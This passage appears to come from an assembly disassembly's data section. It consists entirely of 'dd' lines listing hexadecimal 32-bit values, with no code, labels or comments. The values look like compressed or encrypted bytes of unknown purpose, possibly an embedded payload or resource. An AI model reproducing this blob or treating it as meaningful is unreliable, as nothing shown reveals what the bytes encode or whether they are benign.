		dd 568532E4h, 2C581F84h, 0D4055259h, 88689E61h,	0B1712C25h
		dd 0D02C6E89h, 0BFC285F8h, 4CC628E9h, 6B13211Ah, 8E1E5758h
		dd 21844E79h, 47474051h, 0EA3D51A8h, 6F6D213Ch,	8A9892Ch
		dd 0C21E1708h, 6396AB8h, 8AA7114Ch, 0F2220894h,	9156E21Dh
		dd 6A8F8802h, 1FE22354h, 0D06AA139h, 0EA8E1DB6h, 9864856Ah
		dd 0FEF9E942h, 71AD33D9h, 88FD2466h, 2988F980h,	870E56Ah
		dd 0EFA41B0Eh, 10F9B2DBh, 7684F8F0h, 67F684ECh,	84144284h
		dd 7823F988h, 0A58C22B4h, 648700Ch, 0E9364980h,	825A821h
		dd 2BD86D09h, 1AB0BF39h, 885F97Ch, 0B561F8ECh, 690F40CDh
		dd 10E9373Eh, 0C26584E4h, 0F9439068h, 84C25F11h, 0B2B46944h
		dd 31EE5AD4h, 73EDD0B3h, 672F12EBh, 273599A3h, 0D738BF3Bh
		dd 470CBED0h, 0DDFB6B50h, 0C861F8A0h, 6E21E861h, 0E480243Fh
		dd 5C947DF2h, 4241E41Bh, 50412C6Ah, 49E00943h, 65404F19h
		dd 70E81656h, 0E1FDFC30h, 1008261Ch, 6AC96C42h,	322CF0F0h
		dd 0D8E2E238h, 0C82114EEh, 0CBF84EDh, 46D83C41h, 2658E1EEh
		dd 1AC16C11h, 0CCEEE810h, 0F5682B66h, 8884F228h, 85D8EFD7h
		dd 1866413Fh, 291D814h,	60662D88h, 0D98C9D89h, 681FE2A8h
		dd 901A2591h, 0ACA07417h, 0BEE2B5D2h, 5E1051C2h, 0F8451735h
		dd 983AD91Fh, 0E372A514h, 0F9C953C4h, 0E6101A6Dh, 1D94CA67h
		dd 0D82D0868h, 12054A04h, 9C4B6C6Ah, 810D942h, 0D0048ED7h
		dd 0AC65AD84h, 0B4E393E0h, 0D8D9A412h, 6AF3A0AEh, 2621B58Bh
		dd 766AD60Bh, 1DD253ECh, 0C2368169h, 42522826h,	103A5388h
		dd 51DCD704h, 0D988A16Dh, 44C8881Bh, 0D368AFC1h, 16D943A8h
		dd 9BA302BBh, 0B1CB7010h, 0F00C6506h, 0F810CB43h, 0CC70C464h
		dd 44101A77h, 8E625F0h,	0A664D516h, 0CD74849Bh,	0EFB783Ch
		dd 10CB6C11h, 0F2842708h, 80126C69h, 218E3611h,	6C42CD70h
		dd 0D22119CBh, 0CD702334h, 88274470h, 88D01DAh,	0D462CD7Ch
		dd 98E7B001h, 1F9585CFh, 0D0949EC9h, 0C711C8E7h, 0D1EFE898h
		dd 38D11884h, 0C46346EEh, 0A03CD19Ch, 94110EFBh, 917C21CFh
		dd 20EE20Bh, 9838352Ah,	940885D1h, 406762CFh, 0D1982334h
		dd 0F308AC71h, 0A4101AE1h, 11EDCED1h, 2CC31C84h, 10634338h
		dd 2ACAC39Ch, 0C41C420Eh, 4C1AE7B9h, 0E7A7C41Eh, 6A190711h
		dd 8C54920h, 62F68010h,	0C511F8AFh, 1470D8A7h, 0CE489C3h
		dd 0E209F113h, 320D4014h, 18103447h, 0D414A3C3h, 1A32FC31h
		dd 0ACC31810h, 14098535h, 89D86528h, 965D67B1h,	0A2D8228Fh
		dd 0E905DE94h, 1CDABD6Ah, 84C5A410h, 1188DCEBh,	16E85D88h
		dd 9FCD29CAh, 45235257h, 0D23F6ADEh, 846E98Dh, 43F3A79Ah
		dd 3B4C0C55h, 930D59E8h, 4412EB0Dh, 26483291h, 6197B056h
		dd 299013B9h, 0DC3BC73Bh, 508F325Bh, 0ADB55A99h, 62A25192h
		dd 1010284Ch, 59009467h, 5733121Fh, 0E9428FCEh,	30E88484h
		dd 8D4019A5h, 0F86EE912h, 15287C11h, 0A1E4EB67h, 0D509E9E4h
		dd 0D62BA061h, 0CC634D27h, 0E29C21A8h, 0E727DB1Ch, 0E1148824h
		dd 9A944964h, 0A0B891ECh, 1010E247h, 0F0148FE1h, 0DA681CC5h
		dd 98E223B1h, 0B86813A8h, 759E284Fh, 0E4F0F029h, 32420415h
		dd 94023822h, 102114E2h, 374084E1h, 46943C41h, 10E4E2E2h
		dd 88DDCF8h, 9B63E2ACh,	1CF119ECh, 93833F29h, 0E6885715h
		dd 659BD88h, 2DB21F93h,	455468C6h, 51449F8Eh, 0BD6332E9h
		dd 8F2A786Fh, 0E6B10716h, 3026C01Bh, 0E9106051h, 3CABEC40h
		dd 0C0FC3812h, 0E83271EEh, 836D3214h, 761E74F4h, 3B709DDBh
		dd 1B775395h, 0C2828B0Fh, 6500115Fh, 9CCF27B8h,	0C04B7C77h
		dd 0D78D2DF2h, 785B4C59h, 0D69CC04Fh, 9A4A93C3h, 401A130Ch
		dd 0F4027012h, 584F2984h, 71669888h, 30EA0124h,	4842F7Dh
		dd 437828C3h, 760608C0h, 3E4B7B41h, 0B4B15BE6h,	69110E29h
		dd 9F948464h, 0C3A297F9h, 15457F19h, 0F998BE91h, 3BEFE67Ah
		dd 6245B8Bh, 1205ECC4h,	83EBF633h, 1332C8DEh, 21C42046h
		dd 2360CDE8h, 0C63B0543h, 0BC0975h, 0B6051A40h,	0E8C26243h
		dd 0DDF5A546h, 2502394Bh, 22FA4BF8h, 0B6CBAD2Ah, 6823F6F0h
		dd 0BDB92050h, 3C3BDF59h, 0D3B95E57h, 0A092A5D1h, 2944F0B0h
		dd 8DDE6B02h, 172A0506h, 9584E8ECh, 28F28672h, 4FA2714Bh
		dd 1A40E293h, 9B95B710h, 848C22B8h, 30C2039Ch, 2001EEDAh
		dd 1FDB5E28h, 81182783h, 36B58CC3h, 0DB402933h,	0BFB2EB68h
		dd 4AC25332h, 5E5E3A55h
		dd 0BCE481Dh, 0F232DC34h, 1538F206h, 1CC2299Ch,	0DC40386Dh
		dd 19E2F18Ch, 43BD1880h, 1D3C295Fh, 293845BCh, 0DC4244BCh
		dd 8ED9B010h, 8484D0ACh, 77CC345Dh, 3CDC474Ch, 2828CF48h
		dd 27A5A63Ch, 289662AEh, 5AD01E40h, 3062612Eh, 9C690ADCh
		dd 30C228C5h, 0A23837DCh, 0DA054A2Ah, 0DC501049h, 0F1E6D9DFh
		dd 75A617A8h, 87CCBF23h, 212AF022h, 81426FA7h, 67F00AEEh
		dd 5BE29878h, 0AF67C563h, 392B7A32h, 686203FEh,	0E7C798F4h
		dd 4DC59D61h, 5E1FA39h,	4583A4A4h, 16C9685Ch, 61AB5E7Bh
		dd 42167E2Ah, 69276C0Fh, 8A8276CBh, 0CAA05059h,	832B15E9h
		dd 0E4D18016h, 59042C3Eh, 1364E940h, 40248BAAh,	9DA50A1Ah
		dd 0E3EDE488h, 4643117Eh, 62BE109Dh, 3746472Eh,	0D7E0FB4Fh
		dd 0EC976EE0h, 2953AECEh, 78B27374h, 42842B24h,	5BD1F135h
		dd 2AA1CB7Fh, 0F422634h, 0D0DF18D8h, 0AB62CABEh, 3865845Dh
		dd 0F78E0F01h, 98134810h, 0BC500389h, 0C612A9E9h, 774C6822h
		dd 84EA0F4h, 0DDECC631h, 7410B437h, 6C11405Bh, 0C522DE4Eh
		dd 0EC0F9965h, 34B6B714h, 0A2B72951h, 99DF7011h, 85167414h
		dd 0E8E2A296h, 318025DDh, 7360719Eh, 80F8857h, 0D04F2C93h
		dd 0A1DF6C10h, 640CDDE8h, 3E9A4C46h, 0B4C23D4Dh, 0F6CC242Bh
		dd 0DF788497h, 5838C632h, 23D1AEDCh, 0D8085AA3h, 319465DCh
		dd 4EDD580Fh, 5A8010D1h, 0ADDDCE1h, 0C446E03Dh,	0F048DC54h
		dd 1C5FA062h, 47C21140h, 0DDD8102Bh, 0CDC54A1h,	8444460Ch
		dd 212BDDD8h, 2C1C4243h, 41622851h, 6F70795Fh, 0DAD1EA6Bh
		dd 27E95670h, 9A34EA40h, 0EB0BDD42h, 95F657CEh,	0FA222CE4h
		dd 13BC4151h, 6E745BA2h, 0EEE0981h, 5B4B8F18h, 0DA34188Bh
		dd 687A6128h, 2072A260h, 6C2B6F45h, 10407C20h, 0C52B5FE9h
		dd 4169FFCBh, 48FFC46Ah, 37E48F6Bh, 0BC131432h,	431E2472h
		dd 8A74C86Fh, 51B293EBh, 89480C7Ch, 0CE81058Bh,	0B34B5AEFh
		dd 22C83B22h, 1046A3DEh, 2C84F229h, 3C8AC03Ch, 0FCD20AFh
		dd 6856570Dh, 42F03F8Ch, 95BBA8CEh, 8893B3B7h, 2BE30DEBh
		dd 0F0DB045Fh, 0EFF33B59h, 4ECA0AC4h, 9687A829h, 0C3A32C1h
		dd 845AA97Fh, 53BD5A00h, 3F38B38Ah, 0E28856A9h,	451C0DA1h
		dd 383C94B0h, 24CEAD88h, 0B8268256h, 0E584E925h, 50F88377h
		dd 32855EA8h, 7228532Ah, 72321AB4h, 0FEE41941h,	22F451Ch
		dd 6CA2D4D5h, 81559CCh,	0DC640ED9h, 24140722h, 68870CFCh
		dd 0F13A106Eh, 4A420CE5h, 0F6EF46F8h, 3A9F51E8h, 882DDF60h
		dd 0E980CD15h, 28A84AEAh, 15A02077h, 0DAB96A30h, 0C8AB0A44h
		dd 2D5224F8h, 0E4672438h, 535940E2h, 0BBB5AA2Ch, 99D3272Eh
		dd 2D30688Ah, 545F3A64h, 3D194F40h, 1486C9CCh, 305AA232h
		dd 2E4E5BE8h, 818BEC88h, 5719EA51h, 83EA313Ah, 8410185Dh
		dd 0A50C2D20h, 61541FADh, 15C1404h, 36B4DFECh, 1545D6EAh
		dd 0D0489279h, 8B426F40h, 0E92C7E04h, 66ED0BF1h, 7234E88Fh
		dd 282DE984h, 231AF5DFh, 5BBB4611h, 5A37089Dh, 0E40DC86Fh
		dd 0CBF4277Ch, 97E92020h, 0E7EB0985h, 0CE2D8D6Ch, 0E65ADC5Ch
		dd 988427D8h, 0CA4FE81Ah, 8A4FC54Ah, 65BD9C68h,	0E9309857h
		dd 0B2E6582Dh, 7D9E555Ah, 0C0011038h, 0D9B35F50h, 40C27E8Ch
		dd 1A86455Ch, 4577E027h, 7B7485A7h, 5C720856h, 3025DEABh
		dd 96565254h, 0BC545C55h, 5A4BE077h, 7C10552Bh,	0E022B455h
		dd 0B729A5CCh, 2434888Ch, 83E45FFh, 680A03E4h, 0A19116F4h
		dd 0D215B04Fh, 2BFB25D2h, 299910F0h, 5AFB87A8h,	2E2417F9h
		dd 2913288Ah, 0CAEFF85Ch, 400B5B89h, 0C47BB02Eh, 231B767h
		dd 1D8A3F48h, 1C2A7413h, 42C564EFh, 0DDB801F8h,	58981175h
		dd 8863486Ch, 17A2A615h, 81AEB0Ch, 0B9D2E51h, 16E5A4DDh
		dd 59F82949h, 0E0680AA9h, 2869645Bh, 92334E7Ah,	0FF94AC2Eh
		dd 0B11018C4h, 0FE97D4E9h, 30B8F142h, 493C114Eh, 0B11E0D23h
		dd 0A2781032h, 77E84D95h, 53B59E32h, 0EB7C1292h, 9D0B9AD8h
		dd 0D3474211h, 9B7C0AF8h, 1028F3AEh, 6B56332Fh,	0C6383E8Dh
		dd 8E66DC11h, 558A890Fh, 6E69179Ch, 0CA379B12h,	108BF465h
		dd 5D4E7880h, 768431C2h, 8255192Eh, 8828D2DAh, 4AD23E3Ch
		dd 0C4F3E3ECh, 70FC68F4h, 2847B5CDh, 1917758Ah,	84215F6Ah
		dd 1458E789h, 2F6C212Eh, 0C2E1A09Dh, 0D81958CAh, 853BA15Ch
		dd 5665C89Eh, 0DDFC721Eh, 821C8124h, 6712D327h,	78D41974h
		dd 0F669DA53h, 610B6F45h, 9F9205D2h, 0E856590Ah, 18E4BA20h
		dd 29E8E865h, 78A40A0Eh, 0D20A0414h, 0CF39E007h, 8E3D6609h
		dd 2B166ABCh, 0BAB821BCh, 3EE915C6h, 304F508Ah,	842CD283h
		dd 2D50500Ah, 81CE985h,	0BBA18E10h, 3A52AF3Bh, 0DF8E0BFBh
		dd 43D6D29Ah, 433594CCh, 2BEB135Dh, 14A83BFFh, 0E22D09DBh
		dd 7E201908h, 0BDD1EB0Ah, 0B32A3B0Fh, 0D890C73Ch, 579742D7h
		dd 0E9101384h, 686DCC6Eh, 3E9BB452h, 0C4DADD31h, 7CA20780h
		dd 3858BE84h, 682FC669h, 19A055D6h, 16836327h, 0BD13CA0Ch
		dd 83FBA5B6h, 3D12D836h, 93824CEBh, 0B0668E31h,	642AB4D0h
		dd 882A4356h, 0C666AC68h, 52C52B15h, 39BEF98Dh,	1C8F88CBh
		dd 0D5059D31h, 4B79463Ch, 5F2FB656h, 0E08403CFh, 41986C08h
		dd 0BDE430C6h, 4E31065Ah, 551CDF80h, 7B675141h,	12E18C5Eh
		dd 0E0821FA3h, 38213046h, 310C1551h, 5F16E02Dh,	17512121h
		dd 7C63C80Ch, 412DF47h,	79A2B7E1h, 58516CBEh, 8A42A94Ch
		dd 1C905E7Bh, 0D9226417h, 0AE1C16Ch, 0C4DF7C10h, 0C169BA41h
		dd 70841BE1h, 0B1894431h, 0E1430C68h, 97DAB41Ah, 90251CD7h
		dd 6DEA2D3Dh, 0B094FB79h, 0F7BF1134h, 50B81454h, 0FCE872E2h
		dd 88049B4Fh, 0C894E2CCh, 5593C4AFh, 0B08574B9h, 0ADCEEAE2h
		dd 0E2E3D012h, 57428295h, 8AEA2801h, 0E6FCE458h, 2384135Ch
		dd 4B4B5052h, 0A4F21F9Dh, 0AF574152h, 5B633E38h, 545F6121h
		dd 0B0100AE4h, 6788C4E2h, 13EAB69h, 509F071h, 600168EFh
		dd 716E443h, 25BAF690h,	52D4E654h, 2C17FC0Ah, 481E3332h
		dd 73E80F0Eh, 0BFF712F6h, 61567184h, 20DD957h, 2C0C51B0h
		dd 3310407Dh, 4659F61Ch, 0C63B27B1h, 54C48432h,	0BC783332h
		dd 0B2F56723h, 0D93DC4DAh, 11B43EBFh, 1C8A0657h, 37CE3821h
		dd 1C198A16h, 7F01D1FDh, 2B340796h, 0A811AAACh,	0D8C31032h
		dd 0A028A51h, 328B26B9h, 6BEB7997h, 0BBC025F0h,	26A2E74h
		dd 0C30AAB8Dh, 15CC1A04h, 50E13940h, 0A0C5FF3Ah, 0FEB93200h
		dd 253CCC2h, 5DF226E9h,	0C369C69Dh, 408B1649h, 521A3ED7h
		dd 60CC6CDEh, 0EB334018h, 3861CE77h, 0CDDAE90Fh, 9E7FA394h
		dd 3FE81CC1h, 841C764Eh, 7B213360h, 19180853h, 53DA5BE9h
		dd 42C94D05h, 0B65733B1h, 0FE419DA8h, 0FE4D4190h, 0B06F91D7h
		dd 15F4697Ah, 8A182400h, 59BD8808h, 0BE0F0B31h,	19A0237Ch
		dd 6DCA5C24h, 6C4FABCFh, 322271Fh, 4FC3C698h, 0E5821B6h
		dd 47F58203h, 1C268922h, 0FC53BC1Ch, 52E51396h,	8C96DABDh
		dd 346204B8h, 4CF40AB7h, 78E82B39h, 0DF230B5Ch,	69526AD2h
		dd 2511CC5Ah, 5D0C6C68h, 0D38A522Eh, 24946E7Ah,	8278B77Dh
		dd 0B28EDBBFh, 27152D4Ah, 750CF973h, 8D1138F0h,	80CAD410h
		dd 4EF88835h, 9889E153h, 0E6E81941h, 0C08B125Dh, 8EF29888h
		dd 0DE87E912h, 0A81C6C8Ch, 4B96E88Dh, 0DE9CB95Fh, 921FFFC9h
		dd 0C9A2F5F9h, 0F6243420h, 483DAFA9h, 0EBE1E148h, 85B63C51h
		dd 9CEFDCEDh, 700F8DBBh
		dd 676CEB01h, 0DF7BB5BCh, 0AD2E3FB1h, 36F7DCB3h, 2A385AE5h
		dd 0B296451Fh, 0A170FC57h, 83143470h, 21BC94C8h, 0DF2E519Fh
		dd 3938450h, 0C1654B6Ch, 80FF469Fh, 0E98F7291h,	0B0DDC725h
		dd 8501611Fh, 71529F88h, 6B2FA44Ah, 36B6F420h, 84030462h
		dd 0E942C80Eh, 0F9B1F460h, 0E91B4CE4h, 50CC6CBDh, 84431DF0h
		dd 33CFD397h, 22D51429h, 2438C524h, 0C6F28935h,	1C481D91h
		dd 54428EA8h, 1083D37Ch, 8EC81AA6h, 42EC4EC9h, 0CBAB3935h
		dd 7B1164CBh, 4D4784C0h, 0F3F31C22h, 0E9C03307h, 536873ACh
		dd 482346B4h, 6532CC64h, 2335471Eh, 42182F01h, 0DB9DB2EBh
		dd 3A492D83h, 34A81510h, 0D28EFD5Eh, 0FD168DABh, 12250419h
		dd 6C1710EEh, 2901DCC5h, 136C114h, 0BBB24CE8h, 0AB7424AAh
		dd 1BBE904h, 356B8EEBh,	12BBE289h, 0BE055770h, 3785CB61h
		dd 0D62019A8h, 0E823CC67h, 0FE24D35Eh, 0C23E31F1h, 414346BEh
		dd 266C1D7Ch, 0F7BAEE3Dh, 0F897CC2Ah, 0E9BC6827h, 1D3D1B0Dh
		dd 0A34B74C4h, 0F6572FF6h, 362850FBh, 474395ACh, 8E721442h
		dd 0F2A3345h, 38F37C9Ah, 4F50519Ah, 0E917304Ah,	1FE98A7Ch
		dd 58B32C2Ah, 64181857h, 1EBBC9F1h, 0F8DB4C9Dh,	42ACE83h
		dd 72087D8Ch, 886DE157h, 8DAE7A8h, 0C61CD071h, 88FC0CE1h
		dd 0D3BF91EBh, 13750AC9h, 0BC3A3C5h, 9DFD5C58h,	0F1251383h
		dd 14E13A9Dh, 7F45A17Fh, 7F2E89A6h, 5CE804FCh, 4FF3CB49h
		dd 28C446B8h, 0E1A26837h, 8190F132h, 0E93B48CCh, 70862626h
		dd 1B63DFCFh, 0BAEF4938h, 657524D8h, 23153278h,	0B399FF2Bh
		dd 0EA134D88h, 892C4CA0h, 8492303Dh, 7DC78B25h,	10E12F14h
		dd 0B710458Dh, 52FE0825h, 70919877h, 17425D43h,	0F236A31h
		dd 34D95420h, 0D9E2AA27h, 48C4691h, 144B7DBFh, 98BF2C81h
		dd 575E58Eh, 300FA0EDh,	1F28DAFAh, 0BE3B7F01h, 7F2BC0FAh
		dd 0FCB54F0h, 8F14D910h, 681A05FCh, 20E4704Bh, 12844F74h
		dd 5C258787h, 383B360Ah, 5B4D8827h, 4288219Dh, 331D1F87h
		dd 48518FAh, 0AA0B74D5h, 9BD0BFF2h, 2D9CA075h, 0E515D270h
		dd 0FF9B8F2Eh, 9035E6D5h, 2E6E901Fh, 449DDB33h,	0C83C88FDh
		dd 0FF3CA8A4h, 8D828D6h, 2C34A325h, 86F41A50h, 8830A821h
		dd 8C443804h, 9C181462h, 2443862Fh, 433E4823h, 50107823h
		dd 60C4F0C8h, 4191E832h, 0A4400C6Ch, 86847D68h,	1D392788h
		dd 90EB7DA3h, 44741B10h, 3CE17D41h, 888C1090h, 0F0732034h
		dd 7810C82Ch, 0F0082444h, 57101C44h, 10146878h,	0C3C3C52h
		dd 0C24DA378h, 0CA807D04h, 4405C70Ah, 0E50129CAh, 1B38A042h
		dd 0C0A32C14h, 6A1C092Fh, 0D06F8101h, 0CA3C15EBh, 4F68C1D0h
		dd 16B8592Dh, 298C4834h, 119C27D4h, 38C41101h, 65B2D48Ah
		dd 0E0CC62E4h, 0D489419h, 284686ECh, 0D6BAFC21h, 29641E6h
		dd 1A91580Dh, 780D5220h, 0DC32B433h, 56BB081Ah,	2FC8953Eh
		dd 0B1948FF0h, 8411288Fh, 58623138h, 31E27839h,	421CE2DCh
		dd 3940844Ch, 5D548537h, 87A8A160h, 2F5C0D88h, 29704386h
		dd 54907A24h, 1A4A0C8Ah, 220F1A21h, 410190Dh, 1420FE1Dh
		dd 930BEB17h, 0D150902Ah, 0A484C867h, 10262B55h, 78948AA8h
		dd 0F832A464h, 3C0CB431h, 0C4430DA4h, 0D810AC23h, 0C49288CAh
		dd 91EC32E8h, 640CF40Dh, 3A90819Bh, 0E4AC088Ah,	111822F8h
		dd 843C0228h, 0AC082008h, 4C101844h, 10106478h,	80822ECh
		dd 101A2942h, 3A14A154h, 54A92818h, 2F440D6Ch, 61290D5Dh
		dd 0F4896C90h, 0F445F39h, 58234547h, 7C23C3BCh,	64CA7810h
		dd 2488C5C0h, 980D225Fh, 0A818D019h, 21D44686h,	888091BCh
		dd 724865D0h, 70117C86h, 643C0D37h, 466C3C46h, 3C46D03Ch
		dd 803C46D4h, 0AE482946h, 2519ECD1h, 4F53EFFDh,	6858C8CEh
		dd 54FCE428h, 87BBA2CEh, 0E7AA0811h, 448814C7h,	0A4286274h
		dd 3C62CC0Dh, 4C18D419h, 21904686h, 74AC9360h, 580D486Dh
		dd 0D03278C4h, 0D842791h, 2201EED2h, 0E4423074h, 0CC424920h
		dd 0D4424120h, 4290817Fh, 54083108h, 9292C3Ch, 84AF4DBCh
		dd 446130D0h, 61DD0A2Fh, 8BC55C91h, 20D4892Dh, 0E7A73BA4h
		dd 9102A508h, 65ACC8A0h, 0B8A662F8h, 86312C18h,	9821C843h
		dd 0E2BB5A4h, 0E4100D21h, 0C4CD34CAh, 931C32F4h, 103C820Dh
		dd 43862FE0h, 31437608h, 24911421h, 30641C88h, 0D115C9Dh
		dd 340C3114h, 69C84986h, 88230DD1h, 8423C33Dh, 0B8CA4C10h
		dd 32544468h, 5C0D91B0h, 3043D80Ch, 0EC916421h,	0A0646C88h
		dd 0F251A35h, 983C9584h, 1AA98004h, 0C5210DB4h,	31700D12h
		dd 8CB00C90h, 1C2B9843h, 0DDA410A9h, 0C8B010E3h, 32BCC42Ch
		dd 0CCC319Ch, 4334A40Ch, 104023DCh, 0B9DCC9E8h,	2BE2F805h
		dd 84F5D86Ah, 22190112h, 50C522Ch, 842F9818h, 2184F970h
		dd 0ED103034h, 0E1641CC8h, 24A4E032h, 0A50832D5h, 0C48C93Ch
		dd 32BD6424h, 0B130A430h, 18A41432h, 19C832A5h,	0A9880C99h
		dd 0DE0D8D0Ch, 480D8119h, 7962746Ch, 2430D810h,	44EC0871h
		dd 44A00869h, 44600861h, 44B40859h, 44700851h, 0B8B00949h
		dd 8C311CD1h, 2C3C6847h, 469C3C46h, 84310C11h, 212B3040h
		dd 0D2649168h, 9C3C7109h, 1147F9CBh, 0C7983D04h, 0C408F11Ch
		dd 382A2F43h, 774C460Dh, 0A5505986h, 0FC290DD1h, 0C874101Ah
		dd 3284C45Ch, 89EE4E20h, 27488C0Dh, 845286ACh, 92C0210Dh
		dd 5BA7494h, 50D8B70h, 23BCA335h, 264140BCh, 0A038E176h
		dd 0D3F17110h, 99D8106Bh, 3B0C5CB8h, 88C5CB5Ch,	7384E48Ch
		dd 6C38C494h, 9855DE8Eh, 0D4680353h, 0D1FFE5C5h, 3038CCD1h
		dd 0C4711D12h, 61347044h, 401D892Fh, 3DF0681Fh,	0DD482091h
		dd 1C2BDF2Ch, 453E0C88h, 1CDB6210h, 313C0DA2h, 1509C1B2h
		dd 0FF4C1789h, 59313C21h, 85740C78h, 713E2C08h,	3C1142F6h
		dd 48106328h, 943A7CCBh, 88D10D2Eh, 62CC6464h, 62851B78h
		dd 18198C8Ah, 519CF50Dh, 0C2FB40Dh, 604686A8h, 5091B421h
		dd 0E864C088h, 0E019D062h, 0D445367h, 0E44C9698h, 44BC482Fh
		dd 4454085Dh, 44CC0855h, 30111C4Dh, 18224520h, 0B43D4031h
		dd 60354084h, 22D08A1h,	2251150h, 10F413E8h, 1AAE4B62h
		dd 4D53BA30h, 7C328044h, 3EF82114h, 933EEF4Ah, 97773F04h
		dd 0DDA44488h, 6E08062Fh, 8871E591h, 0A85840Ch,	594A3F3Ch
		dd 865C1C4Ch, 3C310423h, 0D8878B78h, 21904356h,	3870448Ch
		dd 867D9052h, 218C434Ah, 0A0AABE30h, 2128460Dh,	77F092B8h
		dd 12647A44h, 2874D8C0h, 0A5F018FBh, 3298C4BEh,	0D0461494h
		dd 0ECE4DC88h, 192FF431h, 0FC4AC4E3h, 0A043544Ah, 0FC449C21h
		dd 8FA7C38h, 1C3C4046h,	0F5C42442h, 0D4A2CC5h, 3CC5BE10h
		dd 304C0D44h, 4647837h,	0A4195C62h, 0F1C4D85Ch,	8BEE1412h
		dd 478C1074h, 46043C4Ch, 0A871A421h, 0A85A40Ch,	79E8406Ch
		dd 949E5C7Ch, 0E8D85786h, 0B8428478h, 0AC19B0E2h, 33025F1Ch
		dd 405D5EC0h, 599D545Bh, 0CF8E753h, 0F6173356h,	0A1923539h
		dd 6CE07557h, 0FF7C2C74h, 98AFB3BCh, 0C2B06803h, 61E850CBh
		dd 56CC05D5h, 0D5BF1225h, 1205B876h, 0FDECF264h, 144C7099h
		dd 71503408h, 852D0CCCh, 54283064h, 8858438Eh, 3FF962E4h
		dd 0F1FC0815h, 60725CE4h, 8441E01Ch, 0C8B2C542h, 21644714h
		dd 3218C468h, 94901591h, 70396CA2h, 9030210Eh, 8560AC5Dh
		dd 78C87411h, 290C4C71h, 282C6485h, 80438E7Ch, 0F5626488h
		dd 0F808153Eh, 7284E4F0h
		dd 80431C88h, 0C459C121h, 908C230Ah, 1B98E290h,	90212BECh
		dd 98729444h, 21B4431Ch, 0A5C5959h, 0A0909C23h,	2519CCE2h
		dd 5128C80Ah, 87A81CA4h, 0F1C4E810h, 0F4112A3Dh, 0E4ACC8EFh
		dd 42C139B0h, 6485BD08h, 263264C0h, 1097191Ch, 71147539h
		dd 0AD15E859h, 0C893102Dh, 4B50CC14h, 0C884AD4Eh, 83CEC8B9h
		dd 7D66204Eh, 7095BC08h, 168E99B1h, 6217A2C4h, 744ACB66h
		dd 6A71C38Dh, 0E045CA1Bh, 0E7701B27h, 19582837h, 396E4421h
		dd 63A94B4Ah, 0CC1A4ECCh, 0C3EF05FDh, 35273E3Bh, 0E8B0606Ah
		dd 3F4B531Ch, 0B0383232h, 0AFE8321h, 8121188Eh,	75C9ACCCh
		dd 0FF8F8F7h, 0A197E31h, 21DF7C20h, 0C05C024h, 70BA83Dh
		dd 0BC3D605h, 0C72802EBh, 74FF029Ah, 3BDC0424h,	0A4197550h
		dd 0B7E09C0Fh, 0EB56EFAAh, 71C3AE0Bh, 1004360Eh, 0E580D4Bh
		dd 0BC98568h, 0E1FF0274h, 0C288FD31h, 56DB3320h, 0AF575043h
		dd 0D56EF1F8h, 89068169h, 28E82E7Dh, 41048864h,	0CF2BC88Bh
		dd 219DF042h, 6832E983h, 4812D8A9h, 0A236774h, 0FA17546Eh
		dd 51C6A811h, 2E317A2Ch, 327B3C43h, 0A8E34DEEh,	38502D77h
		dd 0E813F88Ch, 8CA5100Fh, 57E782E2h, 63625F56h,	0F7FA9875h
		dd 0D9186C74h, 62A456D4h, 74C73B0Ch, 88909241h,	0BCEEB5EBh
		dd 0F38850A5h, 69591C3Bh, 6393200Eh, 0ABBE22FCh, 4B901884h
		dd 9712BD1Bh, 0EC6897B0h, 548039A2h, 8DE6763Eh,	0C3045E2Dh
		dd 0A786A3h, 18C38347h,	0F1723E3Bh, 0B6D2EB24h,	0D7561462h
		dd 6437C06Bh, 0D2E9EE50h, 35EA29DDh, 1252BFA9h,	2CDFCC4Bh
		dd 0FCB60F88h, 2ABEFCF3h, 7A0A31B4h, 0F10BC8F2h, 9E04F045h
		dd 0F218431Ch, 38A03B62h, 0C6498B18h, 4C2F7575h, 3F405424h
		dd 5601F900h, 418D1F7Eh, 0D157FE05h, 0E50740E8h, 0CB3DEF7h
		dd 8087BC71h, 3EB70F50h, 46D73803h, 0F6754881h,	9204EB5Fh
		dd 734C0823h, 3E069605h, 0CA8BD003h, 20DCE281h,	10E9C187h
		dd 0DD5E6FDFh, 10E837FCh, 44D0F7C2h, 48517E8Dh,	4A78A84Dh
		dd 0AF871808h, 0FC147589h, 0DD591A7Eh, 85243CDCh, 33AB781h
		dd 8DC642F7h, 0BD83F53h, 8802288Ah, 82AD8C0h, 8B0AF003h
		dd 54E681CEh, 847BF990h, 0A540F843h, 0B7575F56h, 0BBA72A12h
		dd 0BD0B2EAh, 8FB90BB4h, 1790D504h, 1002247Ch, 0D09534FFh
		dd 99D0556Dh, 5B6A8040h, 3CC0E01Ch, 42FC43DAh, 7CC86AAAh
		dd 267E0367h, 67177FE8h, 38EC0A6Ah, 6D10BF93h, 182AC927h
		dd 544614E9h, 4F7C263Bh, 2CEA94DAh, 98A3B6Ch, 36E5255Eh
		dd 18214AEEh, 21D06A37h, 0B210105Eh, 1C473421h,	0BC3BCC10h
		dd 85FA553h, 591D3ADCh,	6A0DE698h, 5C8B0D03h, 217E1424h
		dd 3E82BDB7h, 8530D4F2h, 167EF602h, 5F3AC9E8h, 0FD2549F3h
		dd 1F144880h, 0FE1E3B47h, 24DEEA7Ch, 8B5F0938h,	0A8C4D5C3h
		dd 0BEA05163h, 0C7E32424h, 11AD2540h, 7E5E1884h, 241A9184h
		dd 0E294979Eh, 196B4C59h, 0F5528BEh, 5F6A06D8h,	0FDF5A141h
		dd 475A9E03h, 5B018364h, 616AF37Ch, 7B20104Bh, 59C88579h
		dd 0A8B972Ch, 45CB5626h, 0CF27201h, 3A2F2116h, 0DA7130E4h
		dd 72960B3Ah, 0F89C0C71h, 9A39E429h, 0E77EF49Bh, 0EDC20735h
		dd 91827E08h, 2DDB6D98h, 0A638A420h, 5E8C454Eh,	43BA3D67h
		dd 65E53CC8h, 1458753Eh, 564A9422h, 579B22EEh, 12C810C1h
		dd 180DA8C7h, 289CE832h, 49945394h, 48C95D83h, 0C6C67F04h
		dd 0C3744514h, 12221ECBh, 0E01497Ch, 0E844422h,	637E027Eh
		dd 52EB4844h, 0A02275Ch, 4CBE0775h, 80B1108Eh, 0BE3E755Ah
		dd 3C528450h, 75050A51h, 52CC502Eh, 23468454h, 58210132h
		dd 2181311h, 1DDE5CFCh,	4E60D8B2h, 64682B7Ah, 398289E3h
		dd 0B0080A15h, 1C6C7938h, 7F39495Bh, 565E1CACh,	1A74DE8h
		dd 505265Ch, 0FE83B2D0h, 30760D64h, 257D7468h, 114EE523h
